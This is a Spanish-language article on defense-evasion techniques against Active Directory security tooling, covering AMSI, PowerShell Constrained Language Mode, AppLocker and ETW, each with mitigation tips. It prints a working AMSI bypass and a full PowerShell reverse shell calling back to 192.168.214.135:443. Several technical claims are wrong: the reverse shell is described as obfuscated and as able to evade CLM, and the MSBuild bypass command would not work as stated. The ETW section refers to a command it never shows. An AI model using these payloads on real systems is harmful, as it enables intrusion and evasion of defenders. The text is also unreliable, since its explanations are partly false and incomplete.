Técnicas de evasión de defensa
En el ámbito de la seguridad de Active Directory, la evasión de defensa es una técnica importane que los atacantes utilizan para evitar ser detectados por las herramientas de seguridad y los equipos de defensa. A continuación, se detallan las principales técnicas de evasión de defensa, ejemplos de explotación y medidas de mitigación.
1. Antimalware Scan Interface (AMSI)
AMSI es una interfaz desarrollada por Microsoft para permitir que las aplicaciones realicen un escaneo basado en firmas de contenido malicioso. AMSI es utilizado por Windows Defender para escanear scripts de PowerShell, .NET, macros de VBA, Windows Script Host (WSH), VBScript y JavaScript.
Ejemplo de explotación:
- Forzamiento de errores:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true)
Este código fuerza un error en AMSI, permitiendo que el script malicioso se ejecute sin ser detectado.
Medidas de mitigación:
- Mantener actualizado el software de seguridad.
- Implementar políticas de ejecución restringida para scripts.
- Monitorear y auditar la ejecución de scripts en el entorno.
2. PowerShell Constrained Language Mode (CLM)
CLM es una característica de PowerShell que restringe las capacidades del lenguaje para reducir la superficie de ataque.
Ejemplo de explotación:
- Obfuscación de scripts:
$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()
Este script obfuscado evade las restricciones de CLM y permite la ejecución de un shell reverso.
Medidas de mitigación:
- Habilitar el registro mejorado de PowerShell.
- Implementar políticas de AppLocker para restringir la ejecución de scripts no autorizados.
- Utilizar herramientas de detección de comportamiento anómalo.
3. AppLocker
AppLocker es una característica de Windows que permite a los administradores definir políticas de control de aplicaciones para restringir qué aplicaciones pueden ejecutarse en el entorno.
Ejemplo de explotación:
- Bypass de AppLocker usando MSBuild:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /p:Configuration=Release /p:OutputPath=C:\temp\ /p:Platform="Any CPU" /p:PostBuildEvent="calc.exe"
Este comando utiliza MSBuild para ejecutar un archivo malicioso, evadiendo las políticas de AppLocker.
Medidas de mitigación:
- Configurar AppLocker para bloquear el uso de binarios legítimos con funcionalidades extendidas.
- Monitorear y auditar el uso de herramientas de desarrollo en el entorno.
- Implementar políticas de seguridad adicionales como Windows Defender Application Control (WDAC).
4. Event Tracing for Windows (ETW)
ETW es una herramienta de rastreo a nivel de kernel que se utiliza para el registro de eventos y la depuración de aplicaciones.
Ejemplo de explotación:
- Patching de ETW:
Este comando deshabilita el rastreo de eventos en la sesión actual de PowerShell, evadiendo la detección.
Medidas de mitigación:
- Implementar herramientas de monitoreo que no dependan únicamente de ETW.
- Utilizar soluciones de detección y respuesta en endpoints (EDR) que integren múltiples fuentes de datos.
- Auditar y monitorear cambios en las configuraciones de ETW.
Conclusión
Las técnicas de evasión de defensa son esenciales para los atacantes que buscan comprometer un entorno de Active Directory sin ser detectados. La implementación de medidas de mitigación robustas y el monitoreo continuo de actividades sospechosas son cruciales para proteger el entorno contra estas técnicas avanzadas de evasión.